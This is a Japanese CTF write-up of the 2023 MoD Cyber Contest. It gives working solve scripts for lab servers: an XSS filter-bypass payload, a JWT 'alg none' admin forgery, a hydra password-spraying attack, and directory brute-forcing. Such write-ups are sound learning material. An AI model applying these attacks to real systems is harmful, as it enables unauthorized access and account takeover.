$ ./solve.py [*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Noprotect/noprotect' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [+] Opening connection to 10.10.10.15 on port 1005: Done [+] Receiving all data: Done (82B) [*] Closed connection to 10.10.10.15 port 1005 flag{j3Fdc8Mshpm6} timeout: the monitored command dumped core Segmentation fault $
フラグを入手できました: flag{j3Fdc8Mshpm6}
Pwnジャンルは全般的に簡単に思いました。特に本問題は30点問題ではありますが、他ジャンルの10点問題並みの難易度に思いました。他の30点問題が手強すぎるという面はあります。
[TRIVIA] Threat (253 solved, 10 points)
コンピューターシステムを侵害し、身代金を目的としてデータを暗号化したり、アクセスをブロックしたりするマルウェアは何ですか。 解答形式:全角カタカナ7文字
配布ファイルやヒントはありません。ランサムウェア
を提出すると正解でした。
[TRIVIA] Behavior (251 solved, 10 points)
エージェントを使用してエンドポイント上のふるまいを検知し、異常な活動を検出し、攻撃に対する即座な応答を可能にするエンドポイントセキュリティ技術は何ですか。 解答形式:半角英大文字3文字
配布ファイルやヒントはありません。EDR
を提出すると正解でした。
[TRIVIA] Inventor (251 solved, 10 points)
RSA 暗号の R の由来になった人物は誰でしょうか?ラストネームをお答えください。 解答形式:全角カタカナ4文字
配布ファイルやヒントはありません。RSA R 人名
あたりでGoogle検索して見つけたロナルド・リベスト - Wikipediaから、リベスト
を提出すると正解でした。
[Web] Basic (211 solved, 10 points)
情報セキュリティ担当のジョナサンは、退職者が利用していたパソコンの通信ログを確認していたところ、Basic 認証でアクセス制限がかけられているhttp://10.10.10.6/Aw6dfLUM/ へアクセスしていることが判明しました。 提供したパソコンの通信ログ(Basic.pcapng)を確認して認証情報を探し出してください。 フラグはその Basic 認証でのログイン後のページにあります。 解答方式:flag{************} ヒントを表示する Wireshark などのパケットキャプチャツールを利用すると pcap ファイルの中身が見えます。 ヒントを表示する Basic 認証は http リクエストでやりとりをしています。 ヒントを表示する 通信ログから「Authorization: Basic」と記載している箇所を探しましょう。
配布ファイルとして、Basic.pcapng
がありました。Wiresharkで開いてhttp
でフィルタリングすると、401 Unauthorized
なレスポンスが何個かある中、1つだけ200 OK
のレスポンスがありました。当該レスポンスに対応するリクエストを調べて、Basic認証内容を確認しました:
問題文にあるURLへアクセスして、ユーザー名flag
、パスワードaGyRsqpna3D3
でログインすると、Flag
リンクがあるページが表示されました。リンク先ページにフラグが書かかれていました: flag{d0AqEPxpZpnf}
[Web] Discovery (110 solved, 10 points)
ゲーム会社に勤めているジョナサンが管理しているサイト( http://10.10.10.6/Wg6LQhmX/ ) 配下のディレクトリに、機密情報(flag)が記載されたテスト用の html ファイルが公開されていると連絡を受けました。 ジョナサンはサイトにあるリンクたどって該当ファイルを見つけ出そうとしましたが、うまくいきませんでした。 攻撃者はどのようにして機密情報(flag)を見つけだしたのでしょうか? あなたは機密情報(flag)を見つけ出し記載されたフラグを確認してください。 解答方式:flag{************} ヒントを表示する ディレクトリ探索のツールには dirb や ffuf などがあります。 ヒントを表示する フラグが記載されているファイルの拡張子は html だったことを思い出してください。 ヒントを表示する まずはディレクトリを探してみましょう。ディレクトリが見つかったら次はファイルを探してみましょう。
配布ファイルはありません。とりあえずrobots.txt
があるか調べましたがありませんでした。スキャン系ツールのgobuster
を使ってHTMLファイルがあるか調べました:
$ gobuster dir -k --url 'http://10.10.10.6/Wg6LQhmX/' -w /usr/share/seclists/Discovery/Web-Content/common.txt -o gobuster_result_80.txt -x html =============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.6/Wg6LQhmX/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.5 [+] Extensions: html [+] Timeout: 10s =============================================================== 2023/08/06 09:15:50 Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 199] /.htaccess (Status: 403) [Size: 199] /.hta.html (Status: 403) [Size: 199] /.htpasswd (Status: 403) [Size: 199] /.htaccess.html (Status: 403) [Size: 199] /.htpasswd.html (Status: 403) [Size: 199] /games (Status: 301) [Size: 241] [--> http://10.10.10.6/Wg6LQhmX/games/] Progress: 9339 / 9432 (99.01%) =============================================================== 2023/08/06 09:16:31 Finished =============================================================== $
games
ディレクトリが存在するようですが、とりあえずアクセスしてもForbidden表示でした。その他、もっと大きな辞書で試したりしましたが、他に何も見つかりませんでした。仕方がないのでgames
ディレクトリ以下を調べました:
$ gobuster dir -k --url 'http://10.10.10.6/Wg6LQhmX/games/' -w /usr/share/seclists/Discovery/Web-Content/common.txt -o gobuster_result_80_games.txt -x html =============================================================== Gobuster v3.5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.6/Wg6LQhmX/games/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.5 [+] Extensions: html [+] Timeout: 10s =============================================================== 2023/08/06 09:27:48 Starting gobuster in directory enumeration mode =============================================================== /.hta (Status: 403) [Size: 199] /.hta.html (Status: 403) [Size: 199] /.htpasswd (Status: 403) [Size: 199] /.htpasswd.html (Status: 403) [Size: 199] /.htaccess.html (Status: 403) [Size: 199] /.htaccess (Status: 403) [Size: 199] /admin.html (Status: 200) [Size: 19] Progress: 9326 / 9432 (98.88%) =============================================================== 2023/08/06 09:28:26 Finished =============================================================== $
admin.html
が存在するようです。ブラウザで見に行くと、フラグが書かれていました: flag{L1h$ZL-!-,es}
[Web] Bypass (49 solved, 20 points)
上司のクリストファーはセキュリティ会社に脆弱性診断の依頼をした際、アンケートフォーム( http://10.10.10.7/46am9tjb/ ) に、クロスサイトスクリプティングの脆弱性が検出されたと報告を受けました。 このページでは JavaScript を実行されないように対策をとっているため、納得できてないようです。 上司はあなたに JavaScript を実行できるか確認するようにお願いしてきました。 以下のような alert 関数を実行できればフラグが表示されます。 <script>alert(1)</script> 解答形式:flag{***********} ヒントを表示する フォームの一部には入力制限があります。これは JavaScript で制御しているようです。 ヒントを表示する どうやら、一定の文字列を削除する動作のようです。 ヒントを表示する ソースコードをよく読んでみましょう。
配布ファイルはありません。問題文通り、リンク先には以下のアンケートフォームがありました:
とりあえずXSSを引き起こそうと怪しい入力を試しましたが、年齢欄は数値のみ入力可能になっていました。ソースを見ると、以下の検証処理がありました:
function validateForm() { var submit_flg = true; var lname = document.getElementById("lname").value; var fname = document.getElementById("fname").value; var age = document.getElementById("age").value; var lnameError = document.getElementById("lname-error"); var fnameError = document.getElementById("fname-error"); var ageError = document.getElementById("age-error"); lnameError.style.display = "none"; fnameError.style.display = "none"; ageError.style.display = "none"; if (lname.trim() === '') { lnameError.style.display = "block"; submit_flg = false; } if (fname.trim() === '') { fnameError.style.display = "block"; submit_flg = false; } if (age.trim() !== '') { if (isNaN(age) || !Number.isInteger(Number(age))) { ageError.style.display = "block"; submit_flg = false; } else { if (Number(age) < 0) { ageError.style.display = "block"; submit_flg = false; } } } // 全ての必須項目が入力されている場合はtrueを返す return submit_flg; }
この検証処理を回避するために、正常な入力時のPOST先や内容を確認して、自作スクリプトで投稿することにしました。年齢欄に色々入力を入れていると、<script>
タグを送信しても、遷移後ページでは<>
となっており、script
と言う文字列が削除されるようでした。それではと<scscriptript>
を送信すると、遷移後ページで<script>
となっており、XSSできそうなことが分かりました。あとは問題文のとおりにアラートを表示されるスクリプトを書きました。最終形のスクリプトです:
#!/usr/bin/env python3 import requests with requests.Session() as s: d = '">a<scscriptript>alert(1)</scscriptript>a<div name="' data = { "lname": "test", "fname": "test", "age": d, "message": "test", } r = s.post('http://10.10.10.7/46am9tjb/receive.php', data=data) print(r.text)
実行しました:
$ ./solve.py <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="../../css/bootstrap.min.css" rel="stylesheet"> <script src="../../js/bootstrap.min.js"></script> <link rel="icon" href="data:,"> <title>送信内容確認</title> </head> <body> <body> <div class="alert alert-warning">flag{dfvK#L-]BF?M}</div><script>alert("Congratulations!")</script> $
フラグを入手できました: flag{dfvK#L-]BF?M}
[Web] Spray (53 solved, 20 points)
人事部のマネージャーをしているジェシカは、社内ポータルサイト http://10.10.10.7/mpk5tdbu で推測が容易なパスワード、 password か 123456789 のいずれかを利用している従業員がいると報告を受けた。どの従業員が推測可能なパスワードを利用しているか突き止めてください。フラグは、そのユーザーでログインしたページにあります。 以下のアカウントを利用して従業員のアカウント情報を確認してください。 ログイン画面:http://10.10.10.7/mpk5tdbu/ ID:user1 PW:diejuthdkfi14 従業員は100名登録されており、従業員情報は上記のアカウント情報でログイン後、http://10.10.10.7/mpk5tdbu/prof/ で確認ができます。 解答形式:flag{***********} ヒントを表示する ユーザー情報のページでは URL に注目してください。 ヒントを表示する ユーザー情報ページからユーザー ID 一覧を作成しましょう。 ヒントを表示する ユーザー ID には「@」は使えないみたいです。
配布ファイルはありません。問題文記載のURLへアクセスするとログイン画面があり、同じく問題文記載のIDとパスワードでログインできました。その後、問題文記載のhttp://10.10.10.7/mpk5tdbu/prof/
へアクセスしましたが、確か404 Not found表示となり、従業員情報は確認できませんでした。困ってログイン後画面を眺めていると、ページ左下の方にプロフィールを見る
ボタンがありました。押してみるとhttp://10.10.10.7/mpk5tdbu/prof.php?id=1
へ遷移し、1人の従業員のプロフィールページがありました。id
を変えてみると、1~100の範囲で存在するようでした。
それではと、IDはuser1
~user100
の100通り、パスワードは問題文記載のpassword
または123456789
の2通りから、総当たりでログインするようhydra
コマンドで試しました。しかしすべてログインに失敗してしまい、困惑しました。
従業員のプロフィールページにある項目の中でそのままログインIDとして使えそうな項目は、メールアドレスくらいに見えました。メールアドレス全体かユーザー名箇所だけか不明瞭でしたが、とりあえず100人分のプロフィールを集めるクローラーを書きました:
#!/usr/bin/env python3 import requests with requests.Session() as s: s.post("http://10.10.10.7/mpk5tdbu/login.php", data={"userID": "user1", "password": "diejuthdkfi14"}) for i in range(1, 101): r = s.get(f"http://10.10.10.7/mpk5tdbu/prof.php?id={i}") print(r.text)
実行して、メールアドレス部分を抽出しました:
$ ./crawl_profile.py > crawl_result.txt $ cat crawl_result.txt | head -35 | tail -14 <div class="card mb-3"> <div class="card-header"> <h2 class="card-title">ユーザー情報</h2> </div> <div class="card-body"> <p><strong>名前:</strong> 増井 杏里</p> <p><strong>メールアドレス:</strong> imasui@yngcrtvp.uat.ycl</p> <p><strong>生年月日:</strong> 1977/3/31</p> <p><strong>性別:</strong> 女性</p> <p><strong>電話番号:</strong> 076-304-6704</p> <p><strong>住所:</strong> 千葉県</p> <p><strong>自己紹介:</strong> よろしくお願いします。</p> </div> </div> $ cat crawl_result.txt | grep '<p><strong>メールアドレス:</strong>' | cut -d" " -f18 | cut -d'<' -f1 > mailaddress.txt $ cat crawl_result.txt | grep '<p><strong>メールアドレス:</strong>' | cut -d" " -f18 | cut -d'@' -f1 > username.txt $ cat > password.txt password 123456789 $
とりあえずユーザー名側から辞書攻撃を仕掛けてみました:
$ hydra -V -f -L username.txt -P password.txt 10.10.10.7 http-post-form '/mpk5tdbu/login.php:userID=^USER^&password=^PASS^:alert-danger' (中略) [ATTEMPT] target 10.10.10.7 - login "aamemiya" - pass "123456789" - 194 of 200 [child 4] (0/0) [ATTEMPT] target 10.10.10.7 - login "shigeo4433" - pass "password" - 195 of 200 [child 2] (0/0) [80][http-post-form] host: 10.10.10.7 login: kimi_ihara password: 123456789 [STATUS] attack finished for 10.10.10.7 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-06 12:32:31 $
IDはkimi_ihara
、パスワードは123456789
でログインに成功するとのことです。改めてログインページへアクセスし、見つかった認証情報でログインすると、ページ上部にフラグが書かれていました:
フラグを入手できました: flag{?]_P43gUR?yK}
すぐに分かるとはいえ問題文記載のURLが間違っていたり、ログイン用ユーザーIDが初回用とフラグ用で形式が不統一だったりするのが気になりました。
[Web] Location (21 solved, 30 points)(ヒント表示で -3 points)
社内情報システム部でエンジニアをしているマイケルは、 Web サーバー http://10.10.10.8/ 内の機密情報(flag.txt)にアクセスされないようにセキュリティ対策を施して万全の体制をとっていましたが、ダークウェブに機密情報(flag.txt)が漏洩していると報告を受けました。 マイケルが実施したセキュリティ対策は以下の通りです。 ID とパスワードでの認証 多要素認証 一般ユーザーと管理者で表示できるページを分けている 機密情報(flag.txt)にはアクセス制限をかけている 下記のフラグ確認用のアカウント(一般ユーザー)を利用して、 flag.txt を探し出してください。 ID: test PW: password 解答形式:flag{***********} 3 ポイントを消費してヒントを表示する 認証タイプを選ばない、という選択肢もあります。 ヒントを表示する プロキシツールを使ってリクエストをよく観察してください。
配布ファイルはありません。問題文記載のURLへアクセスすると、ログインフォームがありました:
どちらの認証方式を選んでいても、問題文記載のIDtest
、パスワードpassword
で1つ先の画面に進むことはできました:
しかし、登録時メールアドレスもパスワードイメージも分からないため、先へ進めません。ログインのPOST時の通信内容を確認すると、認証方式種類はmulti
パラメーターが1か2かで表現されているように見えました。そこで試しに3に変えて試してみても、確か「認証方法を選択してください」だったかのエラーとなり、先へ進めませんでした。
困ったので1つ目のヒントを開けました。選ばないという選択肢、理解しました!というわけで送信内容からmulti
パラメーターを削ると、無事ログインに成功しました。以下の内容があるページでした:
マイページ ユーザページは現在開発中のため、すべての機能をオフにしています しかし、管理者に関しては有効である機能も存在します。
クッキーを確認すると、token
という名前でeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoidXNlciIsImlwIjoiMTAuMTAuMTAuMTAifQ.YWY4MWJhYTVlY2YzNDc5OGJiN2ZmZTNjMzMyYmZlYWJjOWI1MTVkOTgwMzlmM2VjNjZiNWIyMjE3ZWM0YTM0Zg
という値を持つクッキーが存在しました。ドット2つで区切られたBase64なのでJSON Web Tokenらしく見えました。JSON Web Tokens - jwt.ioで調べてみると、以下の内容でした:
- ヘッダー:
{"alg": "HS256", "typ": "JWT"}
- ペイロード:
{"account": "user", "ip": "10.10.10.10"}
alg
内容をnone
へ、account
内容をadmin
へ改ざんして、JWTに戻した値をクッキーに設定すると、無事管理者として認識されました:
マイページ 管理者として認識しました ユーザの詳細を確認することが可能です。 1 : 太郎 2 : ジョナサン 詳細を確認したいユーザの番号を半角で入力してください (ここに入力欄)
1を入力すると1.txt
内容が表示されました。それではとflag
を入力してみると、<script>alert("このファイルは外部からアクセス可能ではありません。");document.location="/account.php";</script>
となりました。アクセス元IPアドレスの偽装といえばX-Forwarded-For
ヘッダー、と思いましたが結果は同じでした。試行錯誤の末、JWT中のip
内容を127.0.0.1
へ改ざんすると成功しました。途中から書いていたスクリプトです:
#!/usr/bin/env python3 import requests import jwt with requests.Session() as session: r = session.post("http://10.10.10.8/multi.php", data={"username": "test", "password": "password"}) # print(r.text) ip = "127.0.0.1" user_data = { "account": "admin", "ip": ip, # flag表示にはこれが重要だった } token = jwt.encode(user_data, key=None, algorithm="none") session.cookies.set("token", token, domain="10.10.10.8", path="/") r = session.get("http://10.10.10.8/account.php") # print(r.text) # print(session.cookies) # 別にいらなかった headers = { # "X-Forwarded-For": ip, # "Forwarded": f"by={ip};for={ip};host={ip};proto=http", } r = session.post("http://10.10.10.8/file.php", data={"id": "flag"}, headers=headers) print(r.text)
実行しました:
$ ./solve.py <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>ユーザ検索</title> </head> <body> <p>flag{qPeESfTEg6rT} </p><p></p> </body> </html> $
フラグを入手できました: flag{qPeESfTEg6rT}
解けなかった問題
[CRYPT] Hash Extension Attack (14 solved, 30 points)(ヒント表示で -9 points)
hash_extension.php 内で echo “same hash!!\n” を実行させるための、変数 hash, payload の値を求めて下さい。 解答形式: flag{変数 hash の値:変数 payload の値} 3 ポイントを消費してヒントを表示する hash_extension.php はハッシュ伸長攻撃に対して脆弱です。 3 ポイントを消費してヒントを表示する 変数 palyload はパーセントエンコーディングが必要です。 3 ポイントを消費してヒントを表示する hash_extender を使用して、hash と payload の値を生成して下さい。 (筆者注意:hash_extender箇所に https://github.com/iagox86/hash_extender へのリンクが設定されています)
配布ファイルとして、問題文で言及のあるhash_extension.php
がありました:
<?php $payload = urldecode($_GET['payload']); $hash = urldecode($_GET['hash']); hash('md5',$secret); #5ebe2294ecd0e0f08eab7690d2a6ee69, secret length 6. if (false !== strpos($payload,"admin") && hash('md5',$secret.$payload) == $hash){ echo "same hash!!\n"; # flag is $hash:$payload. }else{ echo "wrong hash!!\n"; } ?>
コードのコメントにある5ebe2294ecd0e0f08eab7690d2a6ee69
をCrackStationを投げると、平文がsecret
である事がわかりました。後は簡単にsame hash!!
へ到達できそうです。
元コードでは未設定な$secret
の初期化や、動作確認用処理を追加しました:
<?php $payload = urldecode($_GET['payload']); $hash = urldecode($_GET['hash']); echo "payload: ".urlencode($payload)."\n"; echo "hash: ".urlencode($hash)."\n"; $secret = "secret"; $h0 = hash('md5',$secret); #5ebe2294ecd0e0f08eab7690d2a6ee69, secret length 6. echo "h0: ".$h0."\n"; $r1 = strpos($payload,"admin"); $nh = hash('md5',$secret.$payload); echo "r1: ".$r1."\n"; echo "nh: ".$nh."\n"; if (false !== $r1 && $nh == $hash){ echo "same hash!!\n"; # flag is $hash:$payload. }else{ echo "wrong hash!!\n"; } ?>
ローカルでサーバーを起動して、動作確認しました:
$ sudo php -S localhost:80 ./hash_extention.php [Mon Aug 7 00:48:09 2023] PHP 8.1.2-1ubuntu2.13 Development Server (http://localhost:80) started # 以下、別のターミナルで $ echo -n 'secretadmin' | md5sum ea909ccfbf42c1d230f26167db4d4fdb - $ curl 'http://localhost/?hash=ea909ccfbf42c1d230f26167db4d4fdb&payload=admin' payload: admin hash: ea909ccfbf42c1d230f26167db4d4fdb h0: 5ebe2294ecd0e0f08eab7690d2a6ee69 r1: 0 nh: ea909ccfbf42c1d230f26167db4d4fdb same hash!! $
意気揚々と、フラグ形式のflag{ea909ccfbf42c1d230f26167db4d4fdb:admin}
を提出しましたがIncorrect
と言われました。
色々試行錯誤をし、あまりにも分からずヒントもすべて表示しました。しかし今回の問題はハッシュ伸長攻撃以前に平文が判明しています。パーセントエンコーディングが必要な文字もありませんし、そもそもパーセントエンコーディング不要な文字についてエンコードが必要かどうか不明です。結局、「hash_extender
というものをわざわざ使って、唯一の想定解を提出するしかない」らしいです。正解は分からないまま終わりました。
本問題だけは問題として成立していないように思います。費やした時間やヒント表示点数がもったいなく思います……。
[NW] Ladder (5 solved, 30 points)(ヒント表示で-6 points)
あなたはペネトレーションテストを行うホワイトハッカーです。ペネトレーションテスト対象組織の社内ネットワークに侵入できました。 引き続き、対象サーバー「10.10.10.23」を調査し、機密情報(フラグ)を見つけてください。 解答方式:flag{************} 3 ポイントを消費してヒントを表示する SNMP のコミュニティ名を突破してシステム情報を列挙し稼働プロセス情報に着目してください。 3 ポイントを消費してヒントを表示する 対象システムではデータベースとデータベースプロキシーが稼働してます。
nmap
で稼働中サービスを、代表的なポートについて調べました(全ポートスキャンは長い時間がかかりそうだったので避けました):
PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack ttl 128 Postfix smtpd |_smtp-commands: sv1.example.com, PIPELINING, SIZE 10240000, VRFY, ETRN, AUTH PLAIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING 80/tcp open http syn-ack ttl 128 Apache httpd 2.4.57 ((Debian)) |_http-title: login |_http-server-header: Apache/2.4.57 (Debian) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD 143/tcp open imap syn-ack ttl 128 Dovecot imapd |_imap-capabilities: more listed have STARTTLS ENABLE ID capabilities LOGIN-REFERRALS post-login OK IDLE AUTH=PLAINA0001 LITERAL+ IMAP4rev1 SASL-IR Pre-login |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=Server-NW4 | Subject Alternative Name: DNS:Server-NW4 | Issuer: commonName=Server-NW4 | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2023-06-15T01:22:28 | Not valid after: 2033-06-12T01:22:28 | MD5: e769:092e:9412:91e8:8e56:cdb8:dd3a:296e | SHA-1: b0e9:7026:082b:fe9c:6418:eac8:d0a3:d49e:72c2:e570 | -----BEGIN CERTIFICATE----- | (中略) |_-----END CERTIFICATE----- 514/tcp filtered shell no-response 993/tcp open ssl/imap syn-ack ttl 128 Dovecot imapd |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=Server-NW4 | Subject Alternative Name: DNS:Server-NW4 | Issuer: commonName=Server-NW4 | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2023-06-15T01:22:28 | Not valid after: 2033-06-12T01:22:28 | MD5: e769:092e:9412:91e8:8e56:cdb8:dd3a:296e | SHA-1: b0e9:7026:082b:fe9c:6418:eac8:d0a3:d49e:72c2:e570 | -----BEGIN CERTIFICATE----- | (中略) |_-----END CERTIFICATE----- |_imap-capabilities: listed more AUTH=PLAINA0001 ENABLE have capabilities LOGIN-REFERRALS post-login ID IDLE OK LITERAL+ IMAP4rev1 SASL-IR Pre-login 3128/tcp open mysql syn-ack ttl 128 MySQL 5.5.5-10.11.3-MariaDB-1 | mysql-info: | Protocol: 10 | Version: 5.5.5-10.11.3-MariaDB-1 | Thread ID: 13955 | Capabilities flags: 63486 | Some Capabilities: ConnectWithDatabase, LongColumnFlag, InteractiveClient, ODBCClient, Support41Auth, IgnoreSigpipes, SupportsLoadDataLocal, Speaks41ProtocolOld, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsCompression, FoundRows, SupportsTransactions, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins | Status: Autocommit | Salt: sR}Cq3GN/@5)j]tNhDWi |_ Auth Plugin Name: mysql_native_password 3306/tcp open mysql syn-ack ttl 128 MariaDB (unauthorized) Device type: WAP 161/udp open snmp udp-response ttl 128 net-snmp; net-snmp SNMPv3 server | snmp-info: | enterprise: net-snmp | engineIDFormat: unknown | engineIDData: 1d4266130a618a6400000000 | snmpEngineBoots: 31 |_ snmpEngineTime: 5h24m47s
nmap
結果から各ポートを調査しましたが、侵入口は見つかりませんでした:
25/tcp
- (そういえば全然見ていませんでした……)
80/tcp
- Apache httpd 2.4.57は現時点での最新バージョン、脆弱性はなさそうです。
- ブラウザアクセスするとログインフォームらしいものが見えますが、ボタンを押してもサーバーへ送信もせずに、JavaScriptで認証失敗と表示するだけのものです。そのためSQL Injection等は原理上ありません。
gobuster
やnikto
で幅広く調べましたが、なぜかold.html
としてDebianのセットアップ確認ページが存在しただけでした。- あまりにも何もなさすぎて入り口にはならない印象でした。
143/tcp
nc
コマンドで接続してA1 LOGIN test test
等を試みてもA1 NO [AUTHENTICATIONFAILED] Authentication failed.
エラーで厳しそうです。
993/tcp
openssl s_client -connect "$RHOST":993 -quiet
コマンドで接続しても、143番ポート同様に厳しそうです。
3128/tcp
mysql -h "10.10.10.23" -P 3128 -u test
等試すと(using password: NO)
のような表示だったのでtest
ユーザーが存在すると考えましたが、hydra
でパスワードクラックを試しても失敗しました。
3306/tcp
mysql -h "$RHOST" -P 3306
がERROR 1130 (HY000): Host '10.254.0.2' is not allowed to connect to this MariaDB server
エラーになったので現段階ではアクセス不能のようでした。侵入成功後には使えるのかもしれません
161/udp
- ヒント表示後、ここが最重要と分かったので重点的に調べようとしました。
- nmapのバナー表示からSNMPv3を使っているようだったので、SNMPバージョン3に対応しているクライアントを調べると、
snmpwalk
コマンドは対応しているようでした。 snmpwalk -v3 -u test -A testtest "10.10.10.23"
でsnmpwalk: Unknown user name
エラーとなったので、存在するユーザーを探そうと思いました。- Kali Linuxにあった
/usr/share/seclists/Usernames/cirt-default-usernames.txt
記載のユーザーで存在有無を確認するスクリプトを書いて動かしていましたが、どのユーザーも存在しないようでした……。
というわけで、ヒントを表示してSNMPを攻めたのにもかかわらず、最初の一歩も何も分からないまま時間切れとなってしまいました。OSCP力を発揮できず悔しいです。
他の方によるwriteup記事防衛省サイバーコンテスト2023 Writeups - はまやんはまやんはまやんによると、onesixtyone
というコマンドで使うべき名前がsecret
と分かり、そこから芋づる式に認証情報などが手に入ったようです。enum力が足りませんでした。
[PROGRAMMING] Grayscale Matrix (19 solved, 30 points)(ヒント表示で -13 points)
3個のファイルに記された数値からなる行列からフラグを復元してください。 解答形式:flag{************} 3 ポイントを消費してヒントを表示する 行列積をとると?順序はファイル名がヒントになっています。 5 ポイントを消費してヒントを表示する 順序がわからなければ LUP 分解という行列計算について調べてみてください。この問題はその逆演算です。 5 ポイントを消費してヒントを表示する 行列積の成分を眺めてもよくわからなければ、成分の大きさを濃淡にして可視化してみてください。
配布ファイルとしてL.txt
、P.txt
、U.txt
がありました。L.txt
は下三角行列、U.txt
は上三角行列と予想し、LU分解が関係しそうだと推測しました。ただP.txt
がよく分かりませんでした。Google検索しても正則行列かもしれない、くらいの理解でした(実際に表示して確かめれば良かったんですね、それをサボってしまいました)。
何をすればいいのかよく分からず、適当にL*P*U
を計算して謎の値を出したりした後に、ヒントを2つ表示しました。「LUP分解」というからにはきっとL*U*P
なのでしょうと考えて、問題名から想像しつつ、3つの行列の積をグレースケール画像として保存するスクリプトを書いて実行しました。実行結果です:
なんだか一部横向きの線が見えるような画像になりました。「一部の線は、モールス信号や、ビット単位のASCIIを表している?」と迷走を重ねた結果、時間切れになりました。途中に最後のヒントを表示しましたが、迷走は止まりませんでした……。
他の参加者の方のwrite-up記事防衛省サイバーコンテスト2023 Writeups - はまやんはまやんはまやんによると、PLU decompositionというのがあり、A=PLUらしい
とのことです。ヒントで「LUP分解」と言っていたのは一体???しかしそれでも、式をガチャガチャ触っていれば気づいていたかもしれなくて悔しいです。それはそうと正しい順序で行列の積を計算して画像化するスクリプトです:
#!/usr/bin/env python3 import sys import numpy as np import math import cv2 import pprint def parse_materix(filename): with open(filename) as f: matrix = [] for line in f.read().split("\n"): if len(line) == 0: continue row = [] for element in line.split(" "): row.append(float(element)) matrix.append(row) return np.matrix(matrix) L = parse_materix("L.txt") P = parse_materix("P.txt") U = parse_materix("U.txt") # A = L @ U @ P # コンテスト中に使っていて迷走していた式 A = P @ L @ U # 実際に計算すべき式 l = [] (rows, columns) = A.shape # 256*256 image = np.zeros((rows,columns,3), np.uint8) with open("result.bin", "wb") as f: for y in range(rows): for x in range(columns): val = (A[y, x]) rounded = round(val) assert math.fabs(val - rounded) < 0.00001 threashold = 255 f.write(bytes([rounded])) image[y, x] = rounded l.append(val) cv2.imwrite("test.png", image) # pprint.pprint(sorted(l))
修正後の実行結果の画像です:
こちらならしっかりフラグを認識できました: flag{J75hrNE34GAnmMN4}
PROGRAMMINGジャンルと言うよりは別ジャンルなのかなとは思いました。numpyを使えば行列の積は@
演算子1つで計算できますし、アルゴリズムとデータ構造は全然出てこないので(データの可視化は別枠に思います)。
全体的な感想
- 第1回と第2回のコンテストでは禁止事項に
問題の内容及び解法を一般に公開すること(コンテストの開催中及び開催後)
とあり、終了後でもwrite-up等の公開等が禁止されていました。今回、許可されるようになったことは非常に良いことだと思います。私自身、今回解けなかった問題について、他の方のwrite-up記事で大いに学ばせていただきました。- もし、次回等でまたwrite-up公開が禁止されていたりしたら、参加しないと思います。
- 参加するためには、参加受け付け期間中に必要書類込みでフォームから申し込む必要がありました。その際、申込み完了したか、書類に不備がなかったかどうか等を、参加受付期間中に通知があれば嬉しかったです。最終的に申込期限が伸びたものの、最初は「申込期限:07/23まで」「登録メールアドレスへの案内送付:07/28まで」であり、実際案内メールが届いたのは07/27でした。もし申込みに不備があった場合は参加不能に直結していたため、不安でした。
- コンテスト時間中、問題サーバー等が500エラーとなり、フラグ提出や問題確認が数分できない状況がしばしば発生しました。少なくとも私がメモしていた範囲では、09:24頃、10:41頃、13:21頃、14:34頃、15:39頃、17:52頃には発生していました。数分とはいえ待つ必要があったのが不便でした。
- コンテスト終了直後から短期間で、問題の確認等ができなくなりました。私はどうにか間に合いましたが、他の方が満足にwrite-upを書ける時間くらい(1週間くらい?)までは残していてほしかったです。
- コンテスト終了直後~08/06 21:40頃まで(=コンテスト終了後約40分間)は、問題一覧ページで問題が一切表示されない状態でした。
- その後~08/07 21時頃(=コンテスト終了から約24時間後)の間では、「問題一覧こそ表示できるものの各問題の詳細(問題文や正解者数など)は閲覧不能」な時間帯と、問題詳細へ正常にアクセスできる時間帯がありました。体感では閲覧不能な時間帯の方が長かったように思います。
- 08/07 19時頃(=コンテスト終了から約22時間後)にはVPN接続ができなくなり、Web問題やPwn問題等の検証ができなくなりました。
- 08/07 22時頃(=コンテスト終了から約25時間後)には回答サイト全体が
ERR_CONNECTION_TIMED_OUT
や(ドメイン名) took too long to respond.
表示となり、閲覧不能になりました。
終了後アンケート等、フィードバックを書く機会がほしかったです。少なくとも今回はありませんでした。- 2023/08/29(=コンテスト終了から約3週間後)に、参加者アンケートのメールが届きました。自由入力欄があったため、自由にフィードバックを書けました。
Google検索していると、第2回の成績優秀者等の結果紹介ページを防衛省・自衛隊:防衛省サイバーコンテストの結果についてで発見しました。しかし、どうやら第1回の結果紹介ページも同一URLであり、現状ではInternet Archive等でのみ確認可能なようです。どうか1年に限らず、末永く残していただければと思います。- 2023/10/22に防衛省・自衛隊:防衛省サイバーコンテストの結果についてを確認すると、今回分含めた第1回~第3回すべてについて、各回の上位5名が掲載されていました。とても良いことだと思います。